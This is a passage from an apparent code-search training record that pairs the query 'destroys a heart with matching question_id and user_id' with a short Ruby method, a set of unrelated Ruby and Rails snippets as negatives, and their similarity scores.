get_selected_freelancer_title_from_slider\n selected_skill_arr = get_selected_freelancer_skills_from_slider\n\n get_selected_freelancer_overview_from_slider\n\n puts \"=============== Compare Name ==========================\"\n puts selected_freelancer_name+\" , \"+@@search_result_information[nth_result]['name']\n if (selected_freelancer_name.eql? @@search_result_information[nth_result]['name'])\n puts selected_freelancer_name+\"'s name matches with the stored data \"\n end\n puts \"=======================================================\"\n\n puts \"=============== Compare Title ==========================\"\n puts selected_freelancer_title+\" , \"+@@search_result_information[nth_result]['title']\n\n if (selected_freelancer_title.eql? @@search_result_information[nth_result]['title'])\n puts selected_freelancer_name+\"'s title matches with the stored data \"\n end\n puts \"========================================================\"\n\n puts \"=============== Compare Skills ==========================\"\n if (selected_skill_arr.eql? @@search_result_information[nth_result]['skills'])\n puts selected_freelancer_name+\"'s skills matches with the stored data \"\n end\n puts \"=========================================================\"\n\n verify_if_selected_slider_contains(keyword)\n\n end", "def intersect(results_list)\n intersection_hits = self.all & results_list.all\n keywords = used_keywords | results_list.used_keywords\n \n ResultsList.new(intersection_hits, keywords.uniq)\n end", "def results\n # @search_result = Recipe.where(\"name like ?\", \"%#{params[:search]}%\")\n\n @search_result = Recipe.joins(:food_items).joins(:directions).where(\"food_items.name ILIKE ? OR recipes.name ILIKE ? OR directions.instruction ILIKE ?\", \"%#{params[:search]}%\", \"%#{params[:search]}%\", \"%#{params[:search]}%\").distinct\n \n end", "def compound_match(fragments, target)\r\n a = fragments.uniq.combination(2).find { |a, b| a + b == target || b + a == target }\r\n return unless a\r\n b = [fragments.index(a[0]), fragments.index(a[1])]\r\n [a[0], a[1], target.start_with?(a[0]) ? b : b.reverse]\r\n end", "def search_results(game_type)\n CombinedReplayData.search do\n all do\n any_of do\n with(:p1_rank).between(1..5)\n without(:p1_legend_rank, nil)\n end\n any_of do\n with(:p2_rank).between(1..5)\n without(:p2_legend_rank, nil)\n end\n end\n with(:played_at).greater_than(5.days.ago)\n with(:game_type, game_type)\n facet :p1_class_and_archetype\n facet :p2_class_and_archetype\n end\n end", "def search(criteria = {})\r\n \r\n end", "def compare_with(freelancer)\n profile_items = { job_title: job_title, name: name, hourly_rate: hourly_rate,\n job_description: job_description, skills: skills, country: country, success_rate: success_rate }\n profile_items.each do |key,value|\n condition = case key \n when :job_description\n \"does not\" unless compare_description?(freelancer.attributes[key], value)\n when :skills\n \"does not\" unless (freelancer.attributes[key] - value).empty?\n when :success_rate\n \"does not\" unless freelancer.attributes[key].include?value\n else\n \"does not\" unless value == freelancer.attributes[key]\n end\n puts \"Profile's #{key} #{condition} match with data from search results\"\n end\n end", "def match(possible)\n answer = []\n possible.each do |i|\n new = i.split(\"\")\n compare = new.sort\n compare_ana = @anagram.sort \n if compare == compare_ana\n answer << i \n end \n end \n answer \n end", "def analyse_result(search_result, phrase)\n search_table = search_result.parser.xpath(\"//span[@class='st']\").text.without_garbage.down_case.split\n phrase_table = phrase.split\n @result = (search_table & phrase_table).count > (Ca::Config.instance.google_phrase_lenght - 2)\n end", "def is_a_match(total_in_common)\n total_in_common >= 2 ? true : false\n end", "def verify_search_results(_found)\n # wait up to 30 seconds for search busy indicator to disappear\n wait_not_busy(30)\n # search results expected\n # verification is limited to verifying that origin and destination airport data is displayed\n search_data = FlightSearch.current\n ui = {\n origin_field => { visible: true, value: { contains: search_data.origin } },\n destination_field => { value: { contains: search_data.destination } },\n }\n # verify search results are correctly displayed\n verify_ui_states(ui)\n end", "def test_search_three_pieces\n root = create_solve_matrix(\n grid(\"x x t\\nx x o\"),\n [piece('x x'), piece('o x'), piece('x t')]\n )\n expected = [root.r.r.d, root.r.r.r.d, root.r.d.d]\n result = search(root)\n\n assert result\n assert_equal expected.map(&:id), result.map(&:id)\n assert_equal [2, 0, 3], result.map(&:rotation)\n end", "def top_matches(n=3)\n \n scores = Array.new\n \n @prefs.each_pair do |key,value|\n if key != @person\n scores << [@similarity.compute(key),key]\n end\n end\n \n (scores.sort!.reverse!)[0..n]\n \n end", "def compound_match(fragments, target)\n match_set = fragments.map.with_index{|word, idx| [target.split(word), idx]}.select{|item| item[0].include?(\"\")}\n match_set = match_set.select{ |item| fragments.index(item.first&.last) != nil}\n index1 = match_set.first&.last\n index2 = fragments.index(match_set&.first&.first&.last) || nil\n return nil if index2.nil?\n\n if fragments[index1] + fragments[index2] == target\n if index1 < index2\n return [fragments[index1], fragments[index2], [index1, index2]]\n else\n return [fragments[index2], fragments[index1], [index1, index2]]\n end\n else\n if index1 < index2\n return [fragments[index1], fragments[index2], [index2, index1]]\n else\n return [fragments[index2], fragments[index1], [index2, index1]]\n end\n end\nend", "def test\n\t\t@a+@b > @c && @a+@c > @b && @b+@c > @a\n\tend", "def complex_case_search\n user_input =params[:searchterm]\n terms = user_input.split(/(.+?)((?: and | or ))/i).reject(&:empty?)\n \n if terms.present? && (terms[0].include? \"~\")\n @cases = nor_case_list(terms[0].delete \"~\")\n else\n @cases = case_list(terms[0])\n end\n\n if !terms[1].nil? && terms[1].strip == \"OR\" && terms[2].present?\n @cases = @cases | case_list(terms[2])\n elsif !terms[1].nil? && terms[1].strip == \"AND\" && terms[2].present? && (terms[2].include? \"~\")\n @cases = @cases & nor_case_list(terms[2].delete \"~\")\n else\n @cases = @cases & case_list(terms[2])\n end\n \n if @cases.present?\n render json: { success: true,response: @cases.as_json('search') },:status=>200\n else\n render :json=> { success: false, message: \"Case is not present.\" },:status=> 203\n end\n\n end", "def solve_two_vs_three_vs_five\n return if @arr[1].nil? || @arr[6].nil?\n\n #p \"1,6: #{@arr[1]},#{@arr[6]}\"\n\n @words.filter{|x| x.length == 5 && @hash[x].nil?}.each{|w|\n if @arr[1].chars.all?{|c| w.chars.include?(c)}\n solved(3, w)\n elsif w.chars.all?{|c2| @arr[6].chars.include?(c2)}\n solved(5, w)\n else\n solved(2, w)\n end\n }\n end", "def match_query(query); end", "def compare(index, mines)\n my_mine = mines[index]\n result = []\n for mine in mines\n result << within_blast_radius(my_mine[0],my_mine[1],my_mine[2],\n mine[0],mine[1])\n end\n result\nend", "def mixColors(colors, queries)\n ans = []\n\n queries.each { |query|\n arr = Array.new(3)\n\n colors.each { |color|\n if color[0] <= query[0] && color[1] <= query[1] && color[2] <= query[2]\n arr[0] = color[0] if color[0] == query[0]\n arr[1] = color[1] if color[1] == query[1]\n arr[2] = color[2] if color[2] == query[2]\n end\n break if arr == query || (color[0] < query[0] && color[1] < query[1] && color[2] < query[2])\n }\n\n if arr == query\n ans << \"YES\"\n else\n ans << \"NO\"\n end\n }\n\n ans\nend", "def matching_data_files params_only=false\n \n results = {}\n\n if Seek::Config.solr_enabled && is_jws_supported?\n search_terms = parameters_and_values.keys\n unless params_only\n search_terms = search_terms | species | searchable_tags | organism_terms\n end\n #make the array uniq! case-insensistive whilst mainting the original case\n dc = []\n search_terms = search_terms.inject([]) do |r,v|\n unless dc.include?(v.downcase)\n r << v\n dc << v.downcase\n end\n r\n end\n\n fields = [:fs_search_fields, :spreadsheet_contents_for_search,:spreadsheet_annotation_search_fields, :searchable_tags]\n\n search_terms.each do |key|\n DataFile.search do |query|\n query.keywords key, :fields=>fields\n end.hits.each do |hit|\n unless hit.score.nil?\n results[hit.primary_key]||=DataFileMatchResult.new([],0,hit.primary_key)\n results[hit.primary_key].search_terms << key\n results[hit.primary_key].score += (0.75 + hit.score)\n end\n end\n end\n end\n\n results.values.sort_by{|a| -a.score}\n end", "def authoringredientrecipesearch\n @query = params[:search]\n @searchedingredients = params[:searchingredients].split(/, */)\n @searchtest = []\n @searchedingredients.each do |si|\n @searchtest.push(si.downcase)\n end\n \n Ingredient.where(\"lower(name) IN (:searching)\", \n {searching: @searchtest}).find_each do |ingredigrab|\n @searchingreed.push(ingredigrab)\n end\n RecipeIngredient.where(ingredient_id: @searchingreed).find_each do |ids|\n @recing.push(ids)\n end\n \n @author = User.find_by_username(params[:searchauthor])\n if params[:exclusive] == \"1\"\n Recipe.where(\"name like :name AND user_id = :author\", \n {name: \"%#{@query}%\", author: @author}).find_each do |r|\n insert = false\n if @recing != nil\n RecipeIngredient.where(\"recipe_id = ?\", r.id).find_each do |i|\n if @recing.include?(i) == true\n insert = true\n end\n end\n if insert == true\n @recipes.push(r)\n end\n end\n end\n else\n Recipe.where(\"name like :name AND user_id = :author\", \n {name: \"%#{@query}%\", author: @author}).find_each do |r|\n insert = true\n if (r.recipe_ingredients.all.empty? == true)\n @recipes.push(r)\n else\n if @recing != nil\n RecipeIngredient.where(\"recipe_id = ?\", r.id).find_each do |i|\n if @recing.include?(i) == true\n else\n insert = false\n end\n end\n if insert == true\n @recipes.push(r)\n end\n end\n end\n end\n end\n return @recipes\n end", "def verify_search_results(found)\n # wait up to 30 seconds for search busy indicator to disappear\n wait_not_busy(30)\n # search results expected\n ui = if found\n search_data = FlightSearch.current\n # wait for results to be displayed\n flight_results_list.wait_until_visible(45)\n # verify that search results are correctly displayed\n # verification is limited to determining that at least one row of data is returned in the flight results list,\n # and that the origin and destination airport data is displayed in the first result\n {\n flight_results_list => { visible: true, itemcount: { greater_than_or_equal: 1 } },\n depart_value => { visible: true, caption: search_data.origin },\n arrive_value => { visible: true, caption: search_data.destination }\n }\n else\n # no results expected\n search_nearby_button.wait_until_visible(30)\n {\n no_flights_found_label => { visible: true, caption: { translate: 'search_results.no_flights_found' } },\n search_nearby_button => { visible: true, caption: { translate: 'search_results.search' } },\n search_nearby_message => { visible: true, caption: { translate: 'search_results.search_nearby' } },\n flight_results_list => { visible: false }\n }\n end\n # verify search results are correctly displayed\n verify_ui_states(ui)\n end", "def got_three?(input)\n result = false\n input.each_index do |i|\n result = input[i] == input[i + 1] && input[i + 1] == input[i + 2]\n break if result\n end\n result\nend", "def search_results(all_pages)\n formatted_list = []\n all_pages.each do |show_hash|\n formatted_list << \"id. #{show_hash[\"id\"]} - #{show_hash[\"name\"]}\"\n end\n if formatted_list.count != 1\n self.print_search_results(formatted_list)\n else\n fetch_show_by_id(all_pages[0][\"id\"].to_s)\n end\nend", "def ingredientsearch\n @searchedingredients = params[:searchingredients].split(/, */)\n @searchtest = []\n @searchedingredients.each do |si|\n @searchtest.push(si.downcase)\n end\n \n Ingredient.where(\"lower(name) IN (:searching)\", \n {searching: @searchtest}).find_each do |ingredigrab|\n @searchingreed.push(ingredigrab)\n end\n RecipeIngredient.where(ingredient_id: @searchingreed).find_each do |ids|\n @recing.push(ids)\n end\n \n if params[:exclusive] == \"1\"\n Recipe.all.find_each do |r|\n insert = false\n if @recing != nil\n RecipeIngredient.where(\"recipe_id = ?\", r.id).find_each do |i|\n if @recing.include?(i) == true\n insert = true\n end\n end\n if insert == true\n @recipes.push(r)\n end\n end\n end\n else\n Recipe.all.find_each do |r|\n insert = true\n if (r.recipe_ingredients.all.empty? == true)\n @recipes.push(r)\n else\n if @recing != nil\n RecipeIngredient.where(\"recipe_id = ?\", r.id).find_each do |i|\n if @recing.include?(i) == true\n else\n insert = false\n end\n end\n if insert == true\n @recipes.push(r)\n end\n end\n end\n end\n end \n return @recipes\n end", "def test_search_multiple_results\n a_term = \"an\"\n get :search, :search_term => a_term\n assert_response :success\n assert_equal \"Search Results for: #{a_term}\", assigns(:title)\n # It should only list products, not variations.\n assert assigns(:products)\n assert_equal 2, assigns(:products).size\n assert_template 'index'\n end" ]
[ "0.6199297", "0.60784817", "0.5992586", "0.59708595", "0.59315956", "0.5929749", "0.59238803", "0.58923227", "0.58793384", "0.5871277", "0.5860875", "0.5860875", "0.5792722", "0.5761049", "0.57132494", "0.5651189", "0.5629499", "0.5616933", "0.5614985", "0.55947113", "0.55885285", "0.55873644", "0.5579276", "0.55644995", "0.55644995", "0.5561281", "0.5548413", "0.5518956", "0.5518528", "0.55071694", "0.5498864", "0.54973084", "0.5497212", "0.54942024", "0.54776776", "0.5470507", "0.54673713", "0.5465425", "0.54589903", "0.54564214", "0.5451325", "0.54421633", "0.54318833", "0.5430256", "0.5417238", "0.54166716", "0.5413101", "0.5411645", "0.5403124", "0.54011405", "0.53722525", "0.5369091", "0.5369091", "0.5367997", "0.5351482", "0.53510296", "0.5346657", "0.5338339", "0.5331237", "0.5323768", "0.5322237", "0.5322237", "0.5321113", "0.5320246", "0.53190553", "0.5318583", "0.53154993", "0.53039896", "0.5294607", "0.5294584", "0.52925366", "0.52907526", "0.52903706", "0.5289385", "0.5283195", "0.52805114", "0.5276544", "0.5275007", "0.52742565", "0.52728736", "0.5270359", "0.52676713", "0.52657896", "0.52651215", "0.5264988", "0.52623534", "0.52602065", "0.52593815", "0.5253116", "0.52518106", "0.52505255", "0.52481776", "0.5243925", "0.5243047", "0.52428794", "0.52394134", "0.5238139", "0.5235953", "0.523577", "0.5234964" ]
0.59738886
3
destroys a heart with matching question_id and user_id
def unheart!(question) heart = self.hearts.find_by(question_id: question.id) heart.destroy! end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def unheart!(post)\n heart = self.hearts.find_by_post_id(post.id)\n heart.destroy!\n end", "def destroy\n #@admin_academy_question.destroy\n a = Academy::Question.find(params[:id].split('-')[0])\n a.update(:is_deleted => true)\n dest = a.id\n type = 4 #answer_question_code\n Notification.clear_notifications(type,dest)\n a.save\n\n respond_to do |format|\n format.html { redirect_to admin_academy_questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ask.destroy\n end", "def destroy\n @hearted.destroy\n respond_to do |format|\n format.html { redirect_to hearteds_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @favourite_question = current_user.favourite_questions.find(params[:id])\n @favourite_question.destroy\n\n respond_to do |format|\n format.html { redirect_to(favourite_questions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @highfive = Highfive.find(params[:id])\n @highfive.destroy if @highfive.user2 == current_user\n\n respond_to do |format|\n format.html { redirect_to highfives_url }\n format.json { head :ok }\n end\n end", "def clear_heartbeats\n Record.with(collection: \"#{self.class.name.demodulize.downcase}_heartbeat\") do |m|\n m.where(proprietor: { \"#{self.class.name.demodulize.downcase}_id\".to_sym => id }).delete\n end\n end", "def destroy\n @user_answer = UserAnswer.find(params[:id])\n @user_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to user_answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user_question = UserQuestion.find(params[:id])\n @user_question.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_questions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @user_trick.destroy\n end", "def unliked_by(user)\n self.send(self.class.like_label.tableize.to_sym).find_by_user_id(user.id).destroy rescue false\n end", "def destroy\n @heart_beat.destroy\n respond_to do |format|\n format.html { redirect_to heart_beats_url }\n format.json { head :no_content }\n end\n end", "def destroy\n find_user\n # check if logged in & if user exists\n @user.destroy\n # also destorys all attending events that contains the user_id\n end", "def destroy\n @heart.destroy\n respond_to do |format|\n format.html { redirect_to hearts_url, notice: 'Heart was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @heart.destroy\n respond_to do |format|\n format.html { redirect_to hearts_url, notice: 'Heart was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def remove_old\n count = WrongAnswer.count(:all, :conditions => { :user_id => user.id })\n if count > APP_SETTINGS['wrong_answers_to_store']\n WrongAnswer.find(:first, :conditions => { :user_id => user.id }).destroy\n end\n end", "def destroy\n @heval.destroy\n current_user.decrement!(:heval_count,1)\n\n redirect_to category_question_path(@question.category_id,@question.id), notice: '백점제 평가가 성공적으로 삭제되었습니다.'\n end", "def destroy\n\t\t@ignore = Friend.where(:user_id => params[:id])\n\t\[email protected]\n\t\tredirect_to @user\n\tend", "def unconfirm_user(user)\n confirmed_interpreter_requests.find_by(user_id: user.id).destroy\n end", "def remove_favourite(user_id, favourite_name)\n @favourites_store.destroy(user_id, favourite_name)\n end", "def destroy\n #na real, cada question pertence a um quiz, basta achar a question de mesma id\n @qq = QuizQuestion.where(question: @question)\n @qq.destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def question_deleted(question)\r\n QuestionTextIndex.delete_all(['question_id=?',question.id])\r\n QuestionProfileMatch.delete_all(['question_id=?',question.id])\r\n QuestionProfileExcludeMatch.delete_all(['question_id=?',question.id])\r\n end", "def destroy\n @user_answer.destroy\n respond_to do |format|\n format.html { redirect_to user_answers_url, notice: 'User answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @user_answer.destroy\n respond_to do |format|\n format.html { redirect_to user_answers_url, notice: 'User answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n answer = Answer.find_by_id(params[:id])\n if answer.user_id == current_user.uid\n answer.destroy\n render :nothing => true\n end\n end", "def destroy\n @answer = current_user.answers.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @quick_answer = QuickAnswer.find(params[:id])\n @quick_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to quick_answers_url }\n format.json { head :no_content }\n end\n end", "def remove_item\n if [email protected]_answers && @item.ok && @question.items.count > 1\n # No more good answer\n # We put one in random to true\n @item.destroy\n @item2 = @question.items.last\n @item2.ok = true\n @item2.save\n flash[:info] = \"Vous avez supprimé une réponse correcte : une autre a été mise correcte à la place par défaut.\"\n else\n @item.destroy\n end\n redirect_to question_manage_items_path(params[:question_id])\n end", "def destroy\n @user = User.find_by(uuid:params[:uuid])\n @user.characters.all.each do |x| x.destroy end\n @user.answers.all.each do |x| x.destroy end\n @user.destroy\n redirect_to users_path\n end", "def destroy\n if current_user.id == @answer.user_id\n @answer.destroy\n respond_to do |format|\n flash[:notice] = \"Answer was successfully destroyed!!\"\n format.html { redirect_to controller: 'questions', action: 'show', id: @answer.question_id }\n format.json { head :no_content }\n end\n else\n flash[:alert] = \"Not Authorized User!!\"\n redirect_to controller: 'questions', action: 'show', id: @answer.question_id\n end\n end", "def remove_everything_about_testuser\n list_of_activerecords = [\n Follow.find_by(leader_id: TESTUSER_ID),\n Follow.find_by(user_id: TESTUSER_ID),\n Mention.find_by(username: TESTUSER_NAME),\n Tweet.find_by(user_id: TESTUSER_ID),\n User.find_by(username: TESTUSER_NAME)\n ]\n list_of_activerecords.each { |ar| destroy_and_save(ar) }\nend", "def destroy\n book = Book.find(params[:id])\r\n mybook = MyBook.find(:first, :conditions =>[\"book_id = ? and user_id = ?\",params[:id],current_user.id])\r\n mybook.destroy\r\n flash[:notice] = \"マイブックからブックを削除しました。\"\r\n if book.user_id == current_user.id\r\n book.questions.delete_all()\r\n book.destroy\r\n flash[:notice] = \"ブックを削除しました。\"\r\n end\n redirect_to :controller => \"mypage\"\r\n end", "def delete_other_bids(assignment_id, user_id)\n entries = SignedUpUser.find_by_sql([\"SELECT su.* FROM signed_up_users su , sign_up_topics st WHERE su.topic_id = st.id AND st.assignment_id = ? AND su.creator_id = ? AND su.is_waitlisted = 1\",assignment_id,user_id] )\n entries.each { |o| o.destroy }\nend", "def delete_save(params, userid)\n db = connect()\n db.execute('DELETE FROM users_discussions WHERE UserId=? AND DiscId=?', userid, params[\"id\"])\n end", "def forget\n search = @user.searches.find(params[:id])\n if search.present?\n search.user_id = nil\n search.save\n go_back notice: I18n.t('blacklight.saved_searches.remove.success')\n else\n go_back error: I18n.t('blacklight.saved_searches.remove.failure')\n end\n end", "def remove_movie_from_likes\n @user = User.find(params[:user_id])\n binding.pry\n @user.likes.delete(params[:id])\n @user.save\n redirect_to user_path(@user)\n end", "def destroy\n @help_offer = HelpOffer.find(params[:id])\n if @help_offer.user != current_user\n raise 'Only users that create help offers can destroy them'\n end\n \n if @job_request.accepted_offer == @help_offer\n @job_request.status = 'open'\n @job_request.save!\n end\n \n @help_offer.destroy\n flash[:notice] = \"Your help offer has been removed.\"\n\n respond_to do |format|\n format.html { redirect_to(job_request_url(@job_request)) }\n format.xml { head :ok }\n end\n end", "def destroy\n # Get user\n user = AuthorizeApiRequest.call(params).result\n @event = Event.find(params[:event_id])\n #See if event is saved event for that user, if so remove it \n if (@event.going.include?(user.id.to_s) )\n @event.update!(going: @event.going-[user.id.to_s])\n render :attendance_event, status: :ok\n else\n render json: {\n error: e.to_s\n }, status: :unprocessable_entity\n end\n end", "def destroy\n scan_procedure_array =current_user.edit_low_scan_procedure_array.split(' ') #[:edit_low_scan_procedure_array]\n #@question = Question.find(params[:id])\n @questions = Question.where( \"questions.id in ( select question_id from question_scan_procedures where scan_procedure_id in (?)) and questions.id in (?)\",scan_procedure_array,params[:id])\n @question = @questions.first\n if current_user.role == 'Admin_High'\n @question = Question.find(params[:id])\n end\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to(questions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n hashback_backend.delete(_hashback_id_key)\n end", "def destroy\n @messy.destroy\n end", "def destroy\n @user = User.find(params[:user_id])\n\n #this is okay because only one of these EVER exists at a time\n current_user.friends_requested.delete(@user)\n current_user.friend_requesters.delete(@user)\n\n if current_user.save\n flash[:success] = \"Request deleted!\"\n else\n flash[:error] = \"You can't let that person go just yet.\"\n end\n\n redirect_to session.delete(:return_to)\n end", "def destroy\n @questionfife.destroy\n respond_to do |format|\n format.html { redirect_to questionfives_url, notice: 'Questionfive was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @attempt_question.destroy\n respond_to do |format|\n format.html { redirect_to attempt_questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @current_user = current_user()\n Like.find_by(user: @current_user, gossip: Gossip.find(params[:format])).destroy\n end", "def destroy\n @question_learned.destroy\n respond_to do |format|\n format.html { redirect_to question_question_learneds_path(@question) }\n format.json { head :no_content }\n end\n end", "def destroy\n\n @[email protected]\n @question.update(cant_answers: @question.cant_answers - 1)\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to @question, notice: 'La respuesta fue borrada con exito' }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer = Answer.find_by_key(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @heart_rate_type = HeartRateType.find(params[:id])\n @heart_rate_type.destroy\n\n respond_to do |format|\n format.html { redirect_to heart_rate_types_url }\n format.json { head :ok }\n end\n end", "def destroy\n @b_answer.destroy\n @b_question = BQuestion.find(params[:b_question_id])\n respond_to do |format|\n format.html { redirect_to b_question_path(@b_question) }\n format.json { head :no_content }\n end\n end", "def destroy\n @survey_user_answer.destroy\n respond_to do |format|\n format.html { redirect_to survey_user_answers_url, notice: 'Survey user answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @prompt.promptlikes.destroy_all\n @prompt.destroy\n end", "def destroy\n REDIS.srem REDIS_SET, @user.id\n self.class.broadcast\n end", "def delete(username)\n TwitterPhoto.find_by_username(username).each{|x| x=nil}\n end", "def reply_neg\n puts 'AWW BOO'\n # byebug\n friend_deny=Follow.find_by(follower_id: follow_params[:user2], followee_id: decode_jwt(cookies.signed[:jwt])[\"user_id\"])\n if friend_deny.destroy\n render json: {friend_deny: 'success'}\n else\n render json: {friend_deny: 'failure'}\n end\n end", "def destroy\n Friend.find_by(user: @friend.receiving_user, receiving_user: current_user).destroy! # Destroy other end of the friendship\n @friend.destroy! # Destroy friendship belonging to user \n redirect_to my_friends_path, notice: \"Sharey ended your friendship. One less friend :(\"\n \n rescue StandardError => e\n flash[:alert] = e.record.errors.full_messages.join \", \"\n redirect_to my_friends_path\n end", "def destroy\n remove_user_participation @challenge.id\n Activity.create(user_id: current_user.id, challenge_id: @challenge.id, relation:\"Deleted\")\n @challenge.destroy\n respond_to do |format|\n format.html { redirect_to challenges_url, notice: 'Challenge was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n if (@question.edit_access(current_user.id) and Question.joins(:quiz_question_instances=>[:quiz=>:quiz_targeted_groups]).where(:id=>params[:id]).empty?)\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :ok }\n end\n else\n respond_to do |format|\n flash[:notice] = \"Question cannot be deleted\"\n format.html { redirect_to action: \"index\" }\n #format.json { render json: @question }\n end\n end\n\n end", "def remove\n @user = current_user\n @friend = User.find(params[:friend_id])\n @friendship = @user.send(:find_any_friendship_with, @friend)\n if @friendship\n @friendship.delete\n @removed = true\n flash[:friendship_removed] = \"Friendship removed #{@friend.email} $green\"\n else \n flash[:friendship_removed] = \"Friendship was not #{@friend.email} $red\"\n end\n l = Log.new\n l.user_id_1 = @user.id\n l.user_id_2 = @friend.id\n name_1 = if @user.name.nil? then @user.email.split('@')[0] else @user.name end\n name_2 = if @friend.name.nil? then @friend.email.split('@')[0] else @friend.name end\n l.message = \"#{name_1.humanize} removed friendship of #{name_2.humanize}\"\n l.loggingtype = 0\n l.save\n\n @user.rank = @user.rank - 4\n @user.save\n @friend.rank = @friend.rank - 4\n @friend.save\n\n redirect_to action: \"index\"\n end", "def reject_friend(user)\n friendship = inverse_friendships.find { |friendship| friendship.user == user }\n friendship.destroy\n end", "def remove_answer\n elem = \"entry_answer\" << params[:id]\n entry = JournalEntry.find(params[:id])\n # remove any score report created\n if entry.survey_answer\n sc = ScoreRapport.find_by_survey_answer_id(entry.survey_answer.id)\n sc.destroy if sc\n end\n\n # delete all answers and answer cells, delete login for journal_entry\n if entry.destroy\n render :update do |page|\n page.visual_effect :slide_up, elem\n page.remove elem\n end\n end\n end", "def supprimerQuestion(id_question)\n question = QuestionOuverte.find_by(id_question: id_question, etat: false)\n supprimer = (question != nil && question.update_attributes(:etat => true))\n end", "def unfollow!(user)\n relationships.find_by_followed_id(user).destroy\n end", "def destroy\n @exam_user = ExamUser.find(params[:id])\n @exam_user.destroy\n\n respond_to do |format|\n format.html { redirect_to exam_users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer.destroy\n\n head :no_content\n end", "def destroy\n @asked_to_answer.destroy\n respond_to do |format|\n format.html { redirect_to asked_to_answers_url, notice: 'Asked to answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer.destroy\n redirect_to @question, notice: 'Answer was successfully destroyed.'\n end", "def destroy\n @question = Question.find(:all)\n @question.each do |q|\n q.destroy\n end\n end", "def destroy\n if useriseditor\n @help.destroy\n respond_to do |format|\n format.html { redirect_to helps_url }\n format.json { head :no_content }\n end\n else\n redirect_to root_path\n end\n end", "def destroy\n @question_like.destroy\n respond_to do |format|\n format.html { redirect_to question_question_likes_path(@question) }\n format.json { head :no_content }\n end\n end", "def destroy\n like = Like.find(params[:id])\n if like.user == current_user\n Like.destroy(params[:id])\n end\n redirect_to root_url\n end", "def destroy\r\n\t\t@phr = Phr.find(params[:phr_id])\r\n\t\t@eye = @phr.eyes.find(params[:id])\r\n\t\tif @eye.destroy\r\n\t flash[:success] = \"Record Deleted.\"\r\n\t else\r\n \t\tflash[:error] = \"Error Deleting Record\"\r\n\t end\r\n\t redirect_to(phr_eyes_path)\r\n\r\n \tend", "def destroy\n @my_question = MyQuestion.find(params[:id])\n @my_question.destroy\n\n respond_to do |format|\n format.html { redirect_to my_questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user.likes.each do |like|\n @contribution = like.contribution\n @contribution.points -= 1\n @contribution.save\n end\n @user.likes.destroy_all\n @user.contributions.destroy_all\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url}\n format.json { head :no_content }\n end\n end", "def destroy\n @activity = Activity.create(user_id: current_user.id, activity_type: 'Destroy', target_type: 'Question', target_id: @question.id)\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @user_message.destroy\n end", "def destroy\n @v1_answer.destroy\n end", "def destroy\n @friend=Friend.where(\"user_id = ? AND friend_id=?\",params[:user_id],params[:friend_id]).destroy_all\n reload\n\n end", "def destroy\n @friendrefuse = Friend.find(params[:id])\n @friendrefuse.destroy\n redirect_to hub_path\n end", "def destroy\n\t\tif session[:user]\n\t\t\tlogger.debug \"Poop: #{params[:id]}\"\n\t\t\t@userhashtag = Userhashtag.find(params[:id])\n\t\t\t#Verify that the user isn't sneaky and tried to delete someone else's hashtag\n\t\t\tif @userhashtag.user_id == session[:user].id\n\t\t\t\[email protected]\n\t\t\t\trender json: @userhashtag\n\t\t\tend\n\t\telse\n\t\t\trender json: {}\n\t\tend\n\n\tend", "def destroy\n @frequently_asked.destroy\n respond_to do |format|\n format.html { redirect_to frequently_askeds_url, notice: 'Frequently asked was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @given_answer.destroy\n respond_to do |format|\n format.html { redirect_to given_answers_url, notice: 'Given answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def remove_answer(question_id)\n answers.each do |a|\n if a.survey_question.id == question_id\n self.answers.delete(a)\n a.destroy \n return\n end\n end\n end", "def destroy\n @like = Like.find(params[:id])\n @like.destroy\n end", "def destroy\n\t @friendable = Friendable.where(from_id: [current_user, params[:id]]).where(to_id: [current_user, params[:id]]).last\n\t @friendable.destroy\n\t flash[:notice] = \"Removed friendship.\"\n\t redirect_to :back\n\t end", "def destroy\n ## 그동안 주고받았던 모든 쪽지를 지워야 계정이 삭제됨.\n Message.all.each do |x|\n if current_user.id == x.user_id\n x.destroy\n end\n end\n \n Conversation.all.each do |y|\n if current_user.id == y.sender_id\n y.destroy\n end\n end\n\n Post.all.where(user_id: current_user.id).each do |z|\n @post = Post.find(z.id)\n @post.update(user_id: 1)\n end\n\n Comment.all.where(user_id: current_user.id).each do |z|\n @comment = Comment.find(z.id)\n @comment.update(user_id: 1)\n end\n\n Invite.find_by(code: current_user.invite_code).destroy\n 